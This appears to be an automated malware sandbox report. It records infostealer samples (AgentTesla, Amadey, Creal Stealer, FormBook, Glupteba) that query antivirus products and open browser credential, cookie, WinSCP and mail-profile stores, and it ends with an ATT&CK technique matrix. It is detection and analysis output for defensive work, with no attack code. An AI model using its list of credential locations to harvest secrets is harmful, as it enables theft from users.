Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\_ctypes.pyd VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\_bz2.pyd VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\_lzma.pyd VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\win32 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\win32 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\_wmi.pyd VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\Desktop\a\Creal.exe VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\win32 VolumeInformation
Source: C:\Users\user\Desktop\a\Creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32 VolumeInformation

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D3E0DB GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

11_2_00D3E0DB

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D25370 RegOpenKeyExA,RegCloseKey,RegOpenKeyExA,RegCloseKey,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,

11_2_00D25370

Source: C:\Users\user\Desktop\a\Creal.exe

Code function: 18_2_00007FF738B86370 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

18_2_00007FF738B86370

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D272F0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

11_2_00D272F0

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Blob

Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 13.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.43c7668.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.43c7668.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: alex.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7664, type: MEMORYSTR

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.0.build3.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build3.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.build3.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.1720533531.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.1704610716.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Desktop\a\build3.exe, type: DROPPED

Yara detected Creal Stealer

Source: Yara match	File source: 00000016.00000003.2158770305.000001B1EED5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2103437019.000001B1EE47F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2186920457.000001B1EED63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2103726520.000001B1EEFB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Creal.exe PID: 7252, type: MEMORYSTR

Yara detected FormBook

Source: Yara match

File source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Glupteba

Source: Yara match	File source: 32.3.e0cbefcb1af40c7d4aff4aca26621a98.exe.37c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\a\Creal.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\a\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\a\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\Desktop\a\Creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 13.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.43c7668.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.43c7668.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: alex.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 13.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.43c7668.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.43c7668.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.alex.exe.438ca48.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: alex.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7664, type: MEMORYSTR

Yara detected Creal Stealer

Source: Yara match	File source: 00000016.00000003.2158770305.000001B1EED5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2103437019.000001B1EE47F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2186920457.000001B1EED63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2103726520.000001B1EEFB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Creal.exe PID: 7252, type: MEMORYSTR

Yara detected FormBook

Source: Yara match

File source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Glupteba

Source: Yara match	File source: 32.3.e0cbefcb1af40c7d4aff4aca26621a98.exe.37c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D4E044 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,		11_2_00D4E044
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D4ED3B Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,		11_2_00D4ED3B

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Data Encrypted for Impact	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Native API	1 Scheduled Task/Job	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	1 System Shutdown/Reboot	Domains	Credentials
Domain Accounts	1 Shared Modules	221 Registry Run Keys / Startup Folder	511 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	112 Command and Scripting Interpreter	1 Services File Permissions Weakness	1 Scheduled Task/Job	42 Software Packing	NTDS	58 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	Traffic Duplication	4 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	221 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	135 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	1 PowerShell	RC Scripts	1 Services File Permissions Weakness	1 File Deletion	Cached Domain Credentials	371 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	1 Proxy			Service Stop	Botnet	Domain Properties
